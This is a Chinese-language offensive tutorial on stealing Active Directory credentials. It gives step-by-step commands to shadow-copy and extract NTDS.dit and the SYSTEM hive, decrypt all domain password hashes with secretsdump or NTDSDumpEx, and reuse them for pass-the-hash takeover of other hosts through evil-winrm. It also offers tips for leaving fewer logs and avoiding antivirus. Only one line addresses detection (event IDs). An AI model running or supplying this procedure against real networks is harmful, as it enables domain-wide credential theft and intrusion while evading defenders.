一、背景
- NTDS.dit是主要的AD数据库,包括有关域中用户、组和组成员的身份信息。它还包括域中所有用户的密码哈希值。为了进一步保护密码哈希值,使用存储在注册表SYSTEM配置更改单元中的密钥对这些哈希值进行加密。
- 当然,对于纯粹希望获取到域内的所有账户的密码哈希,也可以采用DcSync,但此种行为动作较为容易被感知。
- 补充:
- NTDS.di默认始终处于运作中,无法被用户操作。
- 默认存放位置为:
C:\windows\NTDS\ntds.dit
- 因此可以使用创建快照的形式,提取快照内为受到运行保护的备份数据
二、数据提取
2.1 方法介绍
卷影复制(Volume Shadow Copy)
- 卷影复制服务是微软从 Windows XP 开始提供的用于创建一致性的时间点副本(相当于快照)的服务框架。
- 作用如下:
- 用于数据备份
- 支持Windows Server 2003 及以上操作系统
- 系统默认在特定条件下自动创建数据备份,如补丁安装后。在Win7系统大概每隔一周自动创建备份,该时间无法确定
- 禁用VSS会影响系统正常使用,如 System Restore和 Windows Server Backup
2.2 数据提取
2.2.1 工具介绍
- 两件本机自带的卷影复制工具
ntdsutil
vssadmin
(建议采用,产生日志较少)
2.2.2 数据提取
- 查询当前系统快照:
vssadmin list shadows
- 为C盘创建快照:
vssadmin create shadow /for=c:
- 提取卷影中NTDS.dit文件:
copy {卷影副本卷名}3\windows\ntds\ntds.dit c:\ntds.dit
- 删除快照:
vssadmin delete shadows /for=c: /quiet
- 获取解密密钥:
reg save HKLM\system system
- 保存注册表中的system信息,后续使用解密工具作为密钥解密NTDS.dit,获取全部用户账密信息。
2.2.3 数据解密
- IMPACKET工具包
python secretsdump.py -system system.save -ntds ntds.dit local
- NTDSDumpEX
NTDSDumpEx.exe -d ntds.dit -s system.save
三、攻击利用
- 对于获取到域内的账户名与哈希,可直接采用
PTH
攻击,建议用evil-winrm
实现PTH
- 由攻击机
231
利用账号以及密码哈希,通关winrm成功接管域内其他主机。
四、事件溯源
● event-id:8222、4688
五、补充
- 对于提取
NTDS
的手法还有很多,但借助于第三方的脚本或工具的,一般都会被杀软识别,所以选中适合自己的就好。 WinRM
是域内主机默认开启的支持远程管理的工具,需要使用特权账户才能在域内据此横移。- 终端分屏工具:tmux
- shell工具:Termius
、